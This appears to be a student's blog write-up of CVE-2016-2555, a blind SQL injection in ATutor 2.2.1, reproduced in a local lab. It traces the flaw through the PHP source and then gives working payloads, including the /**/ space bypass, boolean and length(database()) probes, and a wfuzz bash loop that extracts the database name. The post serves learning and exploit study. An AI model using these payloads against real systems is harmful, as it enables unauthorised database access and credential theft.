Reviewing old vulns from ATutor 2.2.1

9 minute read

Hi! if you have any question or any suggestion write me to my twitter! Rebraws

A couple of weeks ago i was looking at the new online course from offensive security (AWAE) and it seems very interesting, but unfortunately i can’t afford it because i’m only a student, so i decided to look at the syllabus and after reading it i set up a local lab with all those apps to exploit them by myself, today i’m going to be writing about ATutor.

ATutor 2.2.1 SQLI

ATutor Login Figure 1. Login page from ATutor 2.2.1

I know that ATutor 2.2.1 has a lot of sql injection vulns but i will start analyzing CVE-2016-2555

CVE-2016-2555: SQL injection vulnerability in include/lib/mysql_connect.inc.php in ATutor 2.2.1 allows remote attackers to execute arbitrary SQL commands via the searchFriends function to friends.inc.php

So far we know that there’s a SQL injection at the searchFriends function, but i want to find the vuln without using that information, so i launched burp on my local machine and start crawling the website to find interesting endpoints (see Figure 2.)

Burp Crawl Figure 2. Crawl burp results

As we can see in figure 2. we have a lot of requests (we want to focus on those with parameters), now we can start looking at all the request and read the source code to find vulns or we can try to test each parameter to see if we can get something interesting (test if something brokes), i’ll go with the second option and start testing each parameter/fuzzing to see if we can get something useful.

After testing everything i found three interesting things, but i’m going to start analyzing the one related to the CVE-2016-2555, as we can see at Figure 3. if we add an ‘ to the search_friends parameter from that request we get an error.

error1 Figure 3. Database error

To understand a little more about this error, we can check the log file(see Figure 4.)

error2 Figure 4. Content of log files

As we can see in Figure 4 we have a syntax error (Unterminated quoted string) so it might be possible to exploit a sqli

Note: We can get the same result sending a POST request to /ATutor/mods/_standard/social/connections.php instead of index_public.php (i mentionn this because connections.php can be found without crawling)

Now to see if it’s vulnerable to a sql injection and how to exploit it, we can analyze the source code

Analyzing code from index_public.php

In figure 5. we have a piece of code from index_public.php (/ATutor/mods/_standard/social/index_public.php)

code Figure 5. Piece of code from index_public.php

That piece of code handles search friends requests, the first couple of lines make sure that the request contains the POST parameter search_friends_.$rand_key or the get parameter search_friends

Note: We can also use a GET request and send the parameter search_friends to get the SQL error, example:

GET /ATutor/mods/_standard/social/index_public.php?search_friends=1' HTTP/1.1
Host: 192.168.1.35
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: userActivity=Sun%20Sep%2029%202019%2012%3A00%3A34%20GMT-0300%20(-03); ATutorID=0p31nl64k0km8uageacilqaie7; userActivity=Sat%20Sep%2028%202019%2009%3A33%3A24%20GMT-0300%20(-03); flash=no; _ga=GA1.1.1934307875.1569617407; _gid=GA1.1.10755640.1569769198
Connection: close
Upgrade-Insecure-Requests: 1

Since it’s the same if we send a GET or POST request from now on i’ll use GET (because it will be easier to see the results in the browser)

After checking that the parameters are set, we have the following line

$search_field = $addslashes($_GET['search_friends']);

So it seems they are using $addslashes() to prevent sql injections, but what is $addslashes()? well, according to the ATutor developer documentation: $addslashes() quotes a string with slashes.

and finally the last important line is:

$friends = searchFriends($search_field);

Which calls the searchFriends function and passes the search_field variable, so now we have two things to analyze, one is how the searchFriends function works and the other one is how $addslashes() works

i’ll check first how $addslashes() works, why this one first? Because if we understand how this one works we could craft a payload to bypass it.

Analyzing $addslashes()

codeSlash Figure 6. Piece of code from mysql_connect.inc.php

As we can see in figure 6 the first line checks if get magic quotes is enabled, note that i’m using php5.6 (we need PHP 5.0.2+ to install ATutor and php 7 is not supported with ATutor 2.2.1), get_magic_quotes has been deprecated in php5.3 and removed in php5.4 (if i remember correctly), so in this case our code will jump directly to the else, where it checks if MYSQLI is enabled (it is) and then we have the line $addslashes = ‘trim’ (Is not filtering anything in this case)

So, if we have php5.4+ that means that we don’t have get_magic_quotes enabled and $addslashes() is not going to do anything…

Now that we know what $addslashes is doing, let’s see how the function searchFriends works

Analyzing searchFriends function

codeSearchFriends Figure 7. Piece of code from /mods/_standard/social/lib/friends.inc.php

In figure 7. we have a pice of the searchFriends function, the first lines are not important (only define things and makes sure that names are separated by spaces)

One of the most important lines in this piece of code is the next one:

$sub_names = explode(' ', $name);

explode is going to return an array using spaces as the delimiter.

why this is important? becuase this means that we can’t use spaces in our payload, but this is not a big problem, a long time ago i was doing the highway to shell challenge from rootme and there was a sql injection which didn’t allow to use spaces and i ended up using /**/ instead, we can apply the same technique here.

So far we know that $addslashes() is not working correctly with this setup (no get_magic_quotes and MYSQLI enabled), and we can’t use spaces if we want to exploit a sqli, if we continue looking at the code from Figure 7, we have the following couple of lines

foreach($sub_names as $piece){
....
....
	 if ($exact_match){
         	$match_piece = "= '$piece' ";
         } else {
        	//$match_piece = "LIKE '%$piece%' ";
                $match_piece = "LIKE '%%$piece%%' ";
         }
....
....

$query .= "(first_name $match_piece OR second_name $match_piece OR last_name $match_piece OR login $match_piece ) AND ";
}

I think that the code above is very simple to understand, but i’ll show an example, if we go to the following url:

http://192.168.1.35/ATutor/mods/_standard/social/index_public.php?search_friends=test

Then $match_piece will be “LIKE ‘%%test%%’ “ and that is going to go to the query, i don’t want to go over each line of the code, so i’ll jump directly to the next important line.

$rows_members = queryDB($sql, array());

After crafting the query the program calls the queryDB function and passes the crafted query ($sql) and an empty array, the function queryDB is used to create a DB query, the first thing this function does is to call create_sql(), below we have the code from the function queryDB

function queryDB($query, $params=array(), $oneRow = false, $sanitize = true, $callback_func = "mysql_affected_rows", $array_type = MYSQL_ASSOC) {
    if(defined('MYSQLI_ENABLED') && $callback_func == "mysql_affected_rows"){
        $callback_func = "mysqli_affected_rows";
    }
    $sql = create_sql($query, $params, $sanitize);
    return execute_sql($sql, $oneRow, $callback_func, $array_type);

}

The function create_sql() is going to sanitize the parameters from the array using real_escape_string (if MYSQLI is enabled) and then is going to return the query, but in this case, as we see above, the code passes and empty array and we already have the parameters in the query (basically we already have the sql query created before calling queryDB), so when queryDB calls create_sql it just returns the same query without sanitizing it and finally the SQL query gets executed when queryDB calls execute_sql()

function create_sql($query, $params=array(), $sanitize = true){
    global $addslashes, $db;
    // Prevent sql injections through string parameters passed into the query
    if ($sanitize) {
        foreach($params as $i=>$value) {
         if(defined('MYSQLI_ENABLED')){
             $value = $addslashes(htmlspecialchars_decode($value, ENT_QUOTES));
             $params[$i] = $db->real_escape_string($value);
            }else {
             $params[$i] = $addslashes($value);
            }
        }
    }

    $sql = vsprintf($query, $params);
    return $sql;
}

at this point i think we have everything to sucesfully exploit a SQL injection here, we only have to craft a valid payload.

Exploiting Blind SQL injection

testQuery Figure 8.

Now that we know the app is vulnerable we are going to exploit it manually, something important to mention is that this is a BLIND SQL INJECTION, what does this mean? well, it means that we are not going to see any output, we only will be able to determinate if a statement is true or not.

First i’ll test the SQL injection with a simple payload (remember that we can’t use spaces instead we will use /**/)

aguila'/**/or/**/1=2-/**/'

we are going to test this payload by going to the following url

http://192.168.1.35/ATutor/mods/_standard/social/index_public.php?search_friends=aguila%27/**/or/**/1=2/**/%27

We can see the result at Figure 9.

test1 Figure 9. Results using the payload showed above

As we can see in figure 9 we didn’t get anything back, why? because the app is searching for a user with the name aguila (which doesn’t exists) and then it’s evaluating if 1=2 (false of course), since both conditions are false we don’t get anything back. Now let’s change 1=2 to 1=1 and see what happens, see figure 10.

test2 Figure 10. Results using 1=1

As we see above, if we change 1=2 to 1=1 the condition now is true and we get all the results, so we can use this to send some payload and see if is true or not, if its false we won’t get anything back and if its true we will have the result shown at figure 10.

We want to exploit this vuln and get some useful information, let’s start getting the database name.

Getting the database name using blind sql injection

Remember that we only know if a statement is true or not. Before getting the database name it will be useful to know how long it is, we can check the length with the following payload.

aguila'/**/or/**/length(database())=1/**/' -> no results
aguila'/**/or/**/length(database())=2/**/' -> no results
aguila'/**/or/**/length(database())=3/**/' -> no results
aguila'/**/or/**/length(database())=4/**/' -> no results
aguila'/**/or/**/length(database())=5/**/' -> no results
aguila'/**/or/**/length(database())=6/**/' -> WORKS

test3 Figure 11. Results using aguila’//or//length(database())=5/**/’

test4 Figure 12. Results using aguila’//or//length(database())=6/**/’

Now we know that the name of the database has 6 characters (see figure 11 and 12)

Since we can’t retrieve the complete name of the database at once, we will have to use the following payload to test each character

substring(database(),1,1)='HERE GOES A LETTER' //Test if the first character is some letter

If we want to test this manually it will take a long time to do it… In order to do it a little more simple i’m going to use wfuzz

The payload we are going to use is this one

aguila'/**/or/**/substring(database(),1,1)='b'/**/or' //Here is testing if the first character is the letter b

Below is the command to retrieve the database name using wfuzz and a little bit of bash

for i in {1..7};do wfuzz -c -z file,characters.txt --hw 1448 "http://192.168.1.35/ATutor/mods/_standard/social/index_public.php?search_friends=aguila'/**/or/**/substring(database(),$i,1)='FUZZ'/**/or'";done |grep 2228

The little code from above is iterating over the characters (from the database name) and fuzzing each one of them until it finds that the condition is true, we can see the results of this command at figure 13.

dbname Figure 13. Retrieving the database name using wfuzz

Final thoughts

At this point i think is clear that we were able to exploit an old SQL injection from ATutor 2.2.1, we can keep using the same technique showed above to retrieve passwords, usernames, etc.

Now there are a couple of interesting things to remember, in this case we were able to exploit a sqli because i had php5.6, but what happens if we install another php version with get_magic_quotes enabled? or what happens if we disable mysqli? is still exploitable? if i have the time i’ll like to write about this cases too, but i don’t know really.

Since i’m following a little the AWAE syllabus in the next post i’ll try to chain this vuln with other things in order to get RCE

I hope you enjoyed this post and i’m very sorry if there’s a lot of mistakes, my english is not very good and i also want to use this blog to practice it. Thanks for reading and have a nice day!!! :D